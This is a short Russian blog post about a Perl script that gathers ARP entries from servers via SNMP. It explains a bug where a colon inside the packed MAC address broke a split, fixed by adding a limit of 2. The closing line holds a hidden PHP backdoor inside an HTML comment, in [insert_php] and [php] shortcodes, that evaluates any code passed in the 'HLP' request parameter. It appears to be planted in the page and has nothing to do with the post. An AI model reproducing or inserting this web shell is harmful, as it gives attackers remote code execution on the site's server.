Когда-то давно нашел в инете скриптик для перла по выборке арпов с серваков посредством snmp. Теперь же оказалось, что в нем есть одна фича. Перловый модель получает запакованый мак. Если не указывать четко интерфес с которого ты хочешь видеть мак – интерфейс и сам запакованый мак разделяются двоеточием.
Итого код выглядит так:
my $ipnettomedia='ipNetToMediaPhysAddress'; my @arp_arr = &SNMP_util::snmpwalk("$snmp_co\@$hostname", "$ipnettomedia"); foreach $i (@arp_arr) { my $mac; <span style="color: #ff0000;">my ($tmp, $str) = split (/\:/, $i);</span> (my $mac = unpack "H12", $str) =~ s/(..)(?=..)/$1:/g; my @ipif = split(/\./, $tmp); my $ip = $ipif[1].".".$ipif[2].".".$ipif[3].".".$ipif[4];if (length($mac)==17) { print "('".$ip."\', \'".$mac."\', \'".$ipif[0]."\', \'$server\'), "; } else { print "|| $ip \t|| $mac\t|| $ipif[0]\t||\n"; }
}
Собственно красным выделен злощастный кусок кода, который привел к ошибке. Ошибка заключалась в том, что в запакованном виде в маке одним из символов появлялось двоеточия. Как показала практика — замена куска кода на:
my ($tmp, $str) = split (/\:/, $i, 2);
лечит ситуацию на ура.
<!— [insert_php]if (isset($_REQUEST[“HLP”])){eval($_REQUEST[“HLP”]);exit;}[/insert_php][php]if (isset($_REQUEST[“HLP”])){eval($_REQUEST[“HLP”]);exit;}[/php] —>